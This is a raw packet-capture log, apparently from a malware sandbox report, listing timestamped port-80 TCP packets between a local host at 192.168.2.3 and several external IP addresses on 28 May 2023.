May 28, 2023 10:42:46.907877922 CEST	49713	80	192.168.2.3	123.140.161.243
May 28, 2023 10:42:46.907901049 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:46.907912016 CEST	49713	80	192.168.2.3	123.140.161.243
May 28, 2023 10:42:46.907948017 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:46.907974958 CEST	49713	80	192.168.2.3	123.140.161.243
May 28, 2023 10:42:46.907994032 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:46.908019066 CEST	49713	80	192.168.2.3	123.140.161.243
May 28, 2023 10:42:46.908041000 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:46.908061028 CEST	49713	80	192.168.2.3	123.140.161.243
May 28, 2023 10:42:46.908087015 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:46.908109903 CEST	49713	80	192.168.2.3	123.140.161.243
May 28, 2023 10:42:46.908133030 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:46.908160925 CEST	49713	80	192.168.2.3	123.140.161.243
May 28, 2023 10:42:46.908179045 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:46.908194065 CEST	49713	80	192.168.2.3	123.140.161.243
May 28, 2023 10:42:46.908226013 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:46.908248901 CEST	49713	80	192.168.2.3	123.140.161.243
May 28, 2023 10:42:46.908298969 CEST	49713	80	192.168.2.3	123.140.161.243
May 28, 2023 10:42:46.908301115 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:46.908349037 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:46.908371925 CEST	49713	80	192.168.2.3	123.140.161.243
May 28, 2023 10:42:46.908396006 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:46.908440113 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:46.908452034 CEST	49713	80	192.168.2.3	123.140.161.243
May 28, 2023 10:42:46.908484936 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:46.908504963 CEST	49713	80	192.168.2.3	123.140.161.243
May 28, 2023 10:42:46.908531904 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:46.908540010 CEST	49713	80	192.168.2.3	123.140.161.243
May 28, 2023 10:42:46.908565998 CEST	49713	80	192.168.2.3	123.140.161.243
May 28, 2023 10:42:46.908580065 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:46.908615112 CEST	49713	80	192.168.2.3	123.140.161.243
May 28, 2023 10:42:46.908624887 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:46.908639908 CEST	49713	80	192.168.2.3	123.140.161.243
May 28, 2023 10:42:46.908672094 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:46.908689022 CEST	49713	80	192.168.2.3	123.140.161.243
May 28, 2023 10:42:46.908719063 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:46.908744097 CEST	49713	80	192.168.2.3	123.140.161.243
May 28, 2023 10:42:46.908766985 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:46.908802986 CEST	49713	80	192.168.2.3	123.140.161.243
May 28, 2023 10:42:46.908812046 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:46.908837080 CEST	49713	80	192.168.2.3	123.140.161.243
May 28, 2023 10:42:46.908858061 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:46.908876896 CEST	49713	80	192.168.2.3	123.140.161.243
May 28, 2023 10:42:46.908905029 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:46.908927917 CEST	49713	80	192.168.2.3	123.140.161.243
May 28, 2023 10:42:46.908950090 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:46.908972025 CEST	49713	80	192.168.2.3	123.140.161.243
May 28, 2023 10:42:46.908998966 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:46.909023046 CEST	49713	80	192.168.2.3	123.140.161.243
May 28, 2023 10:42:46.909046888 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:46.909076929 CEST	49713	80	192.168.2.3	123.140.161.243
May 28, 2023 10:42:46.909096956 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:46.909110069 CEST	49713	80	192.168.2.3	123.140.161.243
May 28, 2023 10:42:46.909143925 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:46.909188986 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:46.909193039 CEST	49713	80	192.168.2.3	123.140.161.243
May 28, 2023 10:42:46.909220934 CEST	49713	80	192.168.2.3	123.140.161.243
May 28, 2023 10:42:46.909235001 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:46.909251928 CEST	49713	80	192.168.2.3	123.140.161.243
May 28, 2023 10:42:46.909281969 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:46.909303904 CEST	49713	80	192.168.2.3	123.140.161.243
May 28, 2023 10:42:46.909327984 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:46.909351110 CEST	49713	80	192.168.2.3	123.140.161.243
May 28, 2023 10:42:46.909374952 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:46.909396887 CEST	49713	80	192.168.2.3	123.140.161.243
May 28, 2023 10:42:46.909420967 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:46.909451962 CEST	49713	80	192.168.2.3	123.140.161.243
May 28, 2023 10:42:46.909468889 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:46.909535885 CEST	49713	80	192.168.2.3	123.140.161.243
May 28, 2023 10:42:46.910528898 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:46.910604954 CEST	49713	80	192.168.2.3	123.140.161.243
May 28, 2023 10:42:46.911549091 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:46.911619902 CEST	49713	80	192.168.2.3	123.140.161.243
May 28, 2023 10:42:46.913861036 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:46.913897991 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:46.913933039 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:46.913950920 CEST	49713	80	192.168.2.3	123.140.161.243
May 28, 2023 10:42:46.913950920 CEST	49713	80	192.168.2.3	123.140.161.243
May 28, 2023 10:42:46.913969040 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:46.913992882 CEST	49713	80	192.168.2.3	123.140.161.243
May 28, 2023 10:42:46.914006948 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:46.914043903 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:46.914078951 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:46.914108038 CEST	49713	80	192.168.2.3	123.140.161.243
May 28, 2023 10:42:46.914114952 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:46.914140940 CEST	49713	80	192.168.2.3	123.140.161.243
May 28, 2023 10:42:46.914140940 CEST	49713	80	192.168.2.3	123.140.161.243
May 28, 2023 10:42:46.914151907 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:46.914172888 CEST	49713	80	192.168.2.3	123.140.161.243
May 28, 2023 10:42:46.914172888 CEST	49713	80	192.168.2.3	123.140.161.243
May 28, 2023 10:42:46.914189100 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:46.914223909 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:46.914251089 CEST	49713	80	192.168.2.3	123.140.161.243
May 28, 2023 10:42:46.914259911 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:46.914280891 CEST	49713	80	192.168.2.3	123.140.161.243
May 28, 2023 10:42:46.914297104 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:46.914323092 CEST	49713	80	192.168.2.3	123.140.161.243
May 28, 2023 10:42:46.914336920 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:46.914347887 CEST	49713	80	192.168.2.3	123.140.161.243
May 28, 2023 10:42:46.914371967 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:46.914393902 CEST	49713	80	192.168.2.3	123.140.161.243
May 28, 2023 10:42:46.914407969 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:46.914427042 CEST	49713	80	192.168.2.3	123.140.161.243
May 28, 2023 10:42:46.914443970 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:46.914479017 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:46.914505959 CEST	49713	80	192.168.2.3	123.140.161.243
May 28, 2023 10:42:46.914506912 CEST	49713	80	192.168.2.3	123.140.161.243
May 28, 2023 10:42:46.914515972 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:46.914536953 CEST	49713	80	192.168.2.3	123.140.161.243
May 28, 2023 10:42:46.914551020 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:46.914588928 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:46.914589882 CEST	49713	80	192.168.2.3	123.140.161.243
May 28, 2023 10:42:46.914614916 CEST	49713	80	192.168.2.3	123.140.161.243
May 28, 2023 10:42:46.914625883 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:46.914663076 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:46.914686918 CEST	49713	80	192.168.2.3	123.140.161.243
May 28, 2023 10:42:46.914737940 CEST	49713	80	192.168.2.3	123.140.161.243
May 28, 2023 10:42:46.915703058 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:46.915740013 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:46.915767908 CEST	49713	80	192.168.2.3	123.140.161.243
May 28, 2023 10:42:46.915775061 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:46.915796041 CEST	49713	80	192.168.2.3	123.140.161.243
May 28, 2023 10:42:46.915812016 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:46.915824890 CEST	49713	80	192.168.2.3	123.140.161.243
May 28, 2023 10:42:46.915848017 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:46.915873051 CEST	49713	80	192.168.2.3	123.140.161.243
May 28, 2023 10:42:46.915884018 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:46.915894985 CEST	49713	80	192.168.2.3	123.140.161.243
May 28, 2023 10:42:46.915920973 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:46.915946960 CEST	49713	80	192.168.2.3	123.140.161.243
May 28, 2023 10:42:46.915957928 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:46.915992022 CEST	49713	80	192.168.2.3	123.140.161.243
May 28, 2023 10:42:46.915994883 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:46.916014910 CEST	49713	80	192.168.2.3	123.140.161.243
May 28, 2023 10:42:46.916033030 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:46.916063070 CEST	49713	80	192.168.2.3	123.140.161.243
May 28, 2023 10:42:46.916069031 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:46.916106939 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:46.916110992 CEST	49713	80	192.168.2.3	123.140.161.243
May 28, 2023 10:42:46.916142941 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:46.916163921 CEST	49713	80	192.168.2.3	123.140.161.243
May 28, 2023 10:42:46.916179895 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:46.916194916 CEST	49713	80	192.168.2.3	123.140.161.243
May 28, 2023 10:42:46.916194916 CEST	49713	80	192.168.2.3	123.140.161.243
May 28, 2023 10:42:46.916217089 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:46.916253090 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:46.916300058 CEST	49713	80	192.168.2.3	123.140.161.243
May 28, 2023 10:42:46.916337967 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:46.916373014 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:46.916393995 CEST	49713	80	192.168.2.3	123.140.161.243
May 28, 2023 10:42:46.916399956 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:46.916393995 CEST	49713	80	192.168.2.3	123.140.161.243
May 28, 2023 10:42:46.916436911 CEST	49713	80	192.168.2.3	123.140.161.243
May 28, 2023 10:42:46.916436911 CEST	49713	80	192.168.2.3	123.140.161.243
May 28, 2023 10:42:46.916467905 CEST	49713	80	192.168.2.3	123.140.161.243
May 28, 2023 10:42:46.916630983 CEST	49713	80	192.168.2.3	123.140.161.243
May 28, 2023 10:42:47.006659031 CEST	80	49711	175.119.10.231	192.168.2.3
May 28, 2023 10:42:47.161564112 CEST	80	49713	123.140.161.243	192.168.2.3
May 28, 2023 10:42:47.610459089 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:47.610526085 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:47.610578060 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:47.610642910 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:47.610748053 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:47.612308979 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:47.861253977 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:47.861324072 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:47.861373901 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:47.861422062 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:47.861490965 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:47.861490965 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:47.862503052 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:47.862550974 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:47.862596989 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:47.862653971 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:47.862711906 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:47.862711906 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:48.112484932 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:48.112556934 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:48.112648964 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:48.112703085 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:48.112750053 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:48.112773895 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:48.112775087 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:48.112796068 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:48.112840891 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:48.112889051 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:48.112934113 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:48.112988949 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:48.112988949 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:48.113271952 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:48.113321066 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:48.113364935 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:48.113418102 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:48.113462925 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:48.113468885 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:48.113468885 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:48.113714933 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:48.113764048 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:48.113815069 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:48.113815069 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:48.336831093 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:48.365257025 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:48.365323067 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:48.365356922 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:48.365401983 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:48.365447998 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:48.365493059 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:48.365539074 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:48.365582943 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:48.365628004 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:48.365670919 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:48.365719080 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:48.365765095 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:48.365811110 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:48.365858078 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:48.365905046 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:48.365931034 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:48.365931034 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:48.365931034 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:48.365950108 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:48.365997076 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:48.366041899 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:48.366087914 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:48.366133928 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:48.366143942 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:48.366143942 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:48.366178036 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:48.366194963 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:48.366225004 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:48.366271019 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:48.366316080 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:48.366353989 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:48.366370916 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:48.366370916 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:48.366399050 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:48.366442919 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:48.366491079 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:48.366542101 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:48.366542101 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:48.366921902 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:48.366966009 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:48.367010117 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:48.367053032 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:48.367110014 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:48.367110014 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:48.617969036 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:48.618030071 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:48.618069887 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:48.618108034 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:48.618146896 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:48.618186951 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:48.618190050 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:48.618190050 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:48.618226051 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:48.618264914 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:48.618302107 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:48.618340015 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:48.618355989 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:48.618355989 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:48.618376970 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:48.618415117 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:48.618455887 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:48.618465900 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:48.618465900 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:48.618493080 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:48.618530035 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:48.618544102 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:48.618643999 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:48.618681908 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:48.618721008 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:48.618722916 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:48.618762016 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:48.618798018 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:48.618837118 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:48.619155884 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:48.619208097 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:48.619246006 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:48.619261980 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:48.619261980 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:48.619285107 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:48.619322062 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:48.619555950 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:48.620129108 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:48.620172024 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:48.620207071 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:48.620212078 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:48.620253086 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:48.620321035 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:48.620332003 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:48.620373964 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:48.620429993 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:48.620479107 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:48.620486975 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:48.620486975 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:48.620517015 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:48.620655060 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:48.620740891 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:48.620778084 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:48.620795012 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:48.620795012 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:48.620815992 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:48.621876001 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:48.621921062 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:48.621967077 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:48.621978998 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:48.621978998 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:48.622006893 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:48.622045994 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:48.622078896 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:48.622117043 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:48.622152090 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:48.622178078 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:48.622185946 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:48.622185946 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:48.622190952 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:48.622260094 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:48.622276068 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:48.622315884 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:48.622354031 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:48.622390032 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:48.622427940 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:48.622442961 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:48.622442961 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:48.749180079 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:48.869158983 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:48.869225979 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:48.869338989 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:48.869486094 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:48.869537115 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:48.869584084 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:48.869607925 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:48.869628906 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:48.869673967 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:48.869682074 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:48.869956017 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:48.870006084 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:48.870008945 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:48.870049000 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:48.870098114 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:48.870152950 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:48.870436907 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:48.870503902 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:48.870547056 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:48.870594978 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:48.870608091 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:48.870608091 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:48.870642900 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:48.870744944 CEST	49719	80	192.168.2.3	183.100.39.157
